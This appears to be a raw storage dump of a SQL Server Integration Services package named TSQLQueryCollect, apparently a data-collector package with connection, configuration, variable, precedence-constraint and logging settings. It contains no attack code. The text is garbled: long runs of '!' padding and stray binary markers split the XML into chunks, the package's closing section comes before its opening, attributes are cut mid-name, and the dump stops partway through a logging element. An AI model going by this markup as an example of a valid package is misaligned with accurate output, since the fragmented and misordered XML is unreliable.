!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`z4
'Hr" Destination="User::TraceUseDefault" OverwriteDestination="True" XPathOperation="Values"/></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{2DBE8AE5-8C75-44A9-8C57-D571678FF149}" DTS:From="Package\SQL - Get trace info" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\SQL - Update data source"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 1]" DTS:CreationName="" DTS:DTSID="{9C582F44-453F-431A-80FE-D79155C6E519}" DTS:From="Package\SQL - Update data source" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 1" DTS:To="Package\SQL - Get last upload time"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 2]" DTS:CreationName="" DTS:DTSID="{8D136BE7-D0D6-486D-85E9-D64DB633850E}" DTS:From="Package\SQL - Get last upload time" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 2" DTS:To="Package\SQL - Get snapshot id"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 3]" DTS:CreationName="" DTS:DTSID="{0E7EF1B1-B857-44B2-87BF-CA42682C6354}" DTS:EvalOp="1" DTS:Expression="@[User::SnapshotID] != 0 &amp;&amp; @[User::TraceUseDefault] != &quot;1&quot;" DTS:From="Package\SQL - Get snapshot id" DTS:ObjectName="Constraint 3" DTS:To="Package\For Loop Container"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 5]" DTS:CreationName="" DTS:DTSID="{285C2E0E-D5D3-467A-8237-E0B32D55C912}" DTS:EvalOp="3" DTS:Expression="@[User::TraceIsRunning] == 0" DTS:From="Package\SQL - Get trace info" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 5" DTS:To="Package\SQL - Close trace"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 6]" DTS:CreationName="" DTS:DTSID="{5545F925-D433-4F90-93FD-D3E432AE1D83}" DTS:From="Package\XML - Check use_default attribute" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 6" DTS:To="Package\SQL - Get trace info"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 8]" DTS:CreationName="" DTS:DTSID="{58C2147A-C7A3-4809-95AB-F70A1F1C57BF}" DTS:EvalOp="3" DTS:Expression="@[User::TraceUseDefault] == &quot;1&quot;" DTS:From="Package\SQL - Get snapshot id" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 8" DTS:To="Package\SEQ - Default trace upload"/></DTS:PrecedenceConstraints><DTS:PackageVariables/></DTS:Executable>	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`{4ImHv<DTS:Executable xmlns:DTS="www.microsoft.com/SqlServer/Dts" DTS:refId="Package" DTS:CreationDate="12:00:00 AM" DTS:CreationName="SSIS.Package.3" DTS:CreatorComputerName="" DTS:CreatorName="" DTS:DelayValidation="True" DTS:DTSID="{292B1476-0F46-4490-A9B7-6DB724DE3C0B}" DTS:EnableConfig="True" DTS:ExecutableType="SSIS.Package.3" DTS:LastModifiedProductVersion="11.0.1252.5" DTS:LocaleID="1033" DTS:MaxConcurrentExecutables="1" DTS:MaxErrorCount="0" DTS:ObjectName="TSQLQueryCollect" DTS:PackageType="5" DTS:ProtectionLevel="0" DTS:VersionBuild="300" DTS:VersionGUID="{29FDBD4C-C04D-4FCE-80E5-B6F0829C35BB}"><DTS:Property DTS:Name="PackageFormatVersion">6</DTS:Property><DTS:ConnectionManagers><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[ConfigConnection]" DTS:CreationName="OLEDB" DTS:DelayValidation="True" DTS:DTSID="{AEC0A8A9-5B1C-457A-AC2A-02CBC707C18F}" DTS:ObjectName="ConfigConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::ConfigConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager/></DTS:ObjectData></DTS:ConnectionManager></DTS:ConnectionManagers><DTS:Configurations><DTS:Configuration DTS:ConfigurationString="CacheDirectory" DTS:ConfigurationVariable="\Package.Variables[User::CacheDirectory].Properties[Value]" DTS:CreationName="" DTS:DTSID="{0D194526-2231-4E15-ADD8-5B79F8AF8E01}" DTS:ObjectName="CacheDirectory"/><DTS:Configuration DTS:ConfigurationString="CacheWindow" DTS:ConfigurationVariable="\Package.Variables[User::CacheWindow].Properties[Value]" DTS:CreationName="" DTS:DTSID="{DF4E562E-F822-4769-8491-98E8376B98B2}" DTS:ObjectName="CacheWindow"/><DTS:Configuration DTS:ConfigurationString="InputParameters" DTS:ConfigurationVariable="\Package.Variables[User::InputParameters].Properties[Value]" DTS:CreationName="" DTS:DTSID="{6A6FBA91-2007-409B-AF94-29445E33CAC1}" DTS:ObjectName="InputParameters"/><DTS:Configuration DTS:ConfigurationString="MDWConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::MDWConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{D09F3056-C5FD-4657-872A-7B0444EA970E}" DTS:ObjectName="MDWConnectionString"/><DTS:Configuration DTS:ConfigurationString="ConfigConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::ConfigConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{790D96A0-7BA0-4F09-AAEA-961EA3F94425}" DTS:ObjectName="ConfigConnectionString"/><DTS:Configuration DTS:ConfigurationString="TargetConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::TargetConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{2A6ECF67-DD82-4A3B-A3FB-CC7320A598BD}" DTS:ObjectName="TargetConnectionString"/><DTS:Configuration DTS:ConfigurationString="LoopEventName" DTS:ConfigurationVariable="\Package.Variables[User::LoopEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{6D9EFBB5-C6DB-42DE-AFDA-DCCAE4BA3B12}" DTS:ObjectName="LoopEventName"/><DTS:Configuration DTS:ConfigurationString="ExitEventName" DTS:ConfigurationVariable="\Package.Variables[User::ExitEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{9D4C69F2-6A0B-45D5-86BC-E2C2AA453765}" DTS:ObjectName="ExitEventName"/><DTS:Configuration DTS:ConfigurationString="CollectorTypeUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectorTypeUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{69421C05-A1DD-4D95-9500-B3BF16625BEB}" DTS:ObjectName="CollectorTypeUID"/><DTS:Configuration DTS:ConfigurationString="CollectionSetUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectionSetUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{08CA8103-3278-439A-BE50-C493D2B23232}" DTS:ObjectName="CollectionSetUID"/><DTS:Configuration DTS:ConfigurationString="ItemID" DTS:ConfigurationVariable="\Package.Variables[User::ItemID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{340ED124-0551-4559-8BC2-238857009440}" DTS:ObjectName="ItemID"/><DTS:Configuration DTS:ConfigurationString="InstanceID" DTS:ConfigurationVa	!!!!!!!!!!!!!!!!!!!!!!!!`|4
bHvriable="\Package.Variables[User::InstanceID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{AD10F8E4-4A7F-44A6-82C3-C1F9F153D9CB}" DTS:ObjectName="InstanceID"/><DTS:Configuration DTS:ConfigurationString="InstanceName" DTS:ConfigurationVariable="\Package.Variables[User::InstanceName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{E41EBE67-77EC-449A-B356-37FC1E601599}" DTS:ObjectName="InstanceName"/><DTS:Configuration DTS:ConfigurationString="LoggingLevel" DTS:ConfigurationVariable="\Package.Variables[User::LoggingLevel].Properties[Value]" DTS:CreationName="" DTS:DTSID="{FE42EC47-57AC-4D36-8C23-648257EB96D3}" DTS:ObjectName="LoggingLevel"/><DTS:Configuration DTS:ConfigurationString="LogID" DTS:ConfigurationVariable="\Package.Variables[User::LogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{C5E7323D-D8F4-4ADE-98ED-0AFF92FE8B4F}" DTS:ObjectName="LogID"/><DTS:Configuration DTS:ConfigurationString="ParentLogID" DTS:ConfigurationVariable="\Package.Variables[User::ParentLogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{700D5C4C-836B-4C4C-8019-CAEB5C847D08}" DTS:ObjectName="ParentLogID"/><DTS:Configuration DTS:ConfigurationString="IsSystem" DTS:ConfigurationVariable="\Package.Variables[User::IsSystem].Properties[Value]" DTS:CreationName="" DTS:DTSID="{5A86C955-9B26-486F-AAA6-EFA4792606D2}" DTS:ObjectName="IsSystem"/></DTS:Configurations><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{1B2FE2EF-38F1-4799-965C-63C40B21622F}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheDirectory"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{4761F201-BFE5-490A-B423-C634368AB44F}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="CacheWindow"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{0D1C319C-F2F3-4804-B5E0-C3BFE0223148}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionPackageName"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{8705E2CB-1BED-4A22-B6D8-DFD641CFA12B}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionPackageUID"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{098D52E0-2021-4C96-8177-2713C20AD43E}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionSetUID"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{FD369CEF-D87D-4D54-B841-4B2C725A811F}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectorTypeUID"><DTS:VariableValue DTS:DataType="8">{302E93D1-3424-4be7-AA8E-84813ECF2419}</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{2C9FB021-31C4-43A3-9B3E-6D388F6477EC}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ConfigConnectionString"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{4667D1C6-348C-451B-A1DE-B6CBA23DE979}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ExitEventName"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{2A45E70A-82E0-4EB4-8A46-B0651FEF332C}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InputParameters"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{FFA722B7-2975-40DC-BFC5-5A40B3D3C96F}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceID"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{0FFDB8A8-51C7-42C1-B634-4EEE2D5FBF3E}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceName"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{95B03165-BC22-46E4-9BE2-9CD6D6BE6BE7}" DTS:IncludeInDebugDump="6789" DTS	!!!!!!!!!!!!!!!!!!!!!!!!`}4nmHv:Namespace="User" DTS:ObjectName="IsSystem"><DTS:VariableValue DTS:DataType="11">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{D5F7341A-D034-4787-8E26-B517BC24A6FA}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ItemID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{CFF9FD21-E4DE-49F0-8598-91EC9A8FAD45}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoggingLevel"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{B05EE1AD-27A2-430B-80FE-83AA080CF3B4}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{A3840CC6-6A2F-45BC-BDBA-7DC1E7CC198F}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoopDuration"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{BF53936A-4A19-4927-9549-7AFB163C82DA}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="LoopEventName"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{844CC386-E5A3-4FA4-BA8F-15BC4AB835E7}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="MDWConnectionString"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{7AD509B2-5065-4D5F-8E21-B7FB2E52C33F}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ParentLogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{C24E0CC0-CF2A-4E62-B3EC-6B1FAC1E70B5}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TargetConnectionString"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{47B6C3EE-F837-405C-BF91-1E585103E92B}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="UploadPackageName"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{A4DA5DCD-C582-4910-9C64-FA667B5159E2}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="UploadPackageUID"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="1"><DTS:Property DTS:DataType="8" DTS:Name="EventFilter">5,7,OnError,13,OnPostExecute,12,OnPreExecute,10,OnProgress,9,OnWarning</DTS:Property><DTS:Property DTS:EventName="Diagnostic" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnError" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnPostExecute" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property 